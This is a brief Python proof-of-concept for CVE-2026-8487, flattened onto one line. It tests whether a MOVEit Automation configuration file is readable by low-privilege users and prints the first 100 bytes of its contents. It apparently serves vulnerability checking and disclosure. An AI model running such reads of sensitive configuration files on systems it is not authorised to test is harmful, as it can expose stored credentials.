CVE-2026-8487

import os # Proof of Concept for CVE-2026-8487 # This script checks if sensitive configuration files are readable by low-privilege users def check_permissions(target_file): print(f"[*] Checking permissions for: {target_file}") if os.path.exists(target_file): # Get file permissions mode = os.stat(target_file).st_mode is_readable = os.access(target_file, os.R_OK) if is_readable: print(f"[+] Vulnerability Detected: File is readable!") print(f"[+] Content preview (first 100 bytes):") try: with open(target_file, 'r') as f: print(f.read(100)) except Exception as e: print("Error reading file:", e) else: print("[-] Permissions seem secure for current user.") else: print("[-] Target file not found.") # Example path (Adjust based on actual installation) config_path = "/path/to/moveit/automation/config/sensitive.xml" check_permissions(config_path)

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